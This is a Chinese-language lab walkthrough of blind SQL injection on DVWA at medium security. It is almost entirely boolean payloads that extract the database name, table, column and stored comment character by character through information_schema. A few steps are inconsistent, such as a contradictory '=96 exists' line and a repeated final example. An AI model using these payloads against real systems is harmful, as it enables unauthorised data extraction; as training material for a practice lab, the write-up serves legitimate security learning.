DVWA-SQL盲注 medium
提交id=1之后回显exists存在
提交id=’之后回显missing 不存在，进一步判断是否是数字型SQL注入
数字型 exists
字符型missing，确定为数字型SQL注入，进行猜解数据库版本、昵称。
1 and ascii(substr(database(),1,1))>88 # exists
1 and ascii(substr(database(),1,1))>105 # MISSING
1 and ascii(substr(database(),1,1))>96 # exists
1 and ascii(substr(database(),1,1))>100 # MISSING
1 and ascii(substr(database(),1,1))>98 # exists
1 and ascii(substr(database(),1,1))=99 # MISSING
1 and ascii(substr(database(),1,1))=100 # exists
1 and ascii(substr(database(),2,1))=118 # exists
1 and ascii(substr(database(),3,1))=119 # exists
1 and ascii(substr(database(),2,1))=96 # exists判断出当前数据库为dvwa，接下来判断该数据库中表的个数
使用select count()函数
1 and (select count(table_name) from information_schema.tables where table_schema=database())<5 #
表个数小于5，存在
表个数=2，存在，接着查询表1的长度，我们需要的是guestbook表
1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #
等于9存在，也就是证明表一是guestbook表了。
g:
1 and ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1),1))=103 #
u:
1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2))=117 #
e:
1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3))=101 #
s:
1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),4))=115 #
t:
1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),5))=116 #
b:
1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),6))=98 #
o:
1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),7))=111 #
o:
1 and ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1),8))=111 #
k:
1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),9))=107 #猜出表昵称是guestbook之后就可以猜字段个数了。
1 and (select count(column_name) from information_schema.columns where table_name=0x6775657374626f6f6b)=2 # 存在（字段之前被我改成两个了，注此处应进行十六进制编码）
id=1 and length((select column_name from information_schema.columns where table_schema=database() and table_name=0x6775657374626f6f6b limit 0,1))=7 # 判断第一个字段的长度为7，接下来查询字段的昵称
c:
id=1 and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=0x6775657374626f6f6b limit 0,1),1))=99 #
o:
id=1 and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=0x6775657374626f6f6b limit 0,1),2))=111 #
m:
id=1 and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=0x6775657374626f6f6b limit 0,1),3))=109 #&Submit=Submit
m:
id=1 and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=0x6775657374626f6f6b limit 0,1),4))=109 #&Submit=Submit
e:
id=1 and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=0x6775657374626f6f6b limit 0,1),5))=101 #&Submit=Submit
n:
id=1 and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=0x6775657374626f6f6b limit 0,1),6))=110 #&Submit=Submit
t:
id=1 and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=0x6775657374626f6f6b limit 0,1),7))=116 #&Submit=Submit查出来字段为comment 接下来查字段中的数据个数
id=1 and (select count(comment) from guestbook)=1 #&Submit=Submit查找数据：
T:
id=1 and ascii(substr((select comment from guestbook limit 0,1),1,1))=84 #&Submit=Submit
数据为This is a test comment.
例：如果需要查询该字段中第二个数据就需要将标红处改为+1
id=1 and ascii(substr((select comment from guestbook limit 0,1),1,1))=84 #&Submit=Submit
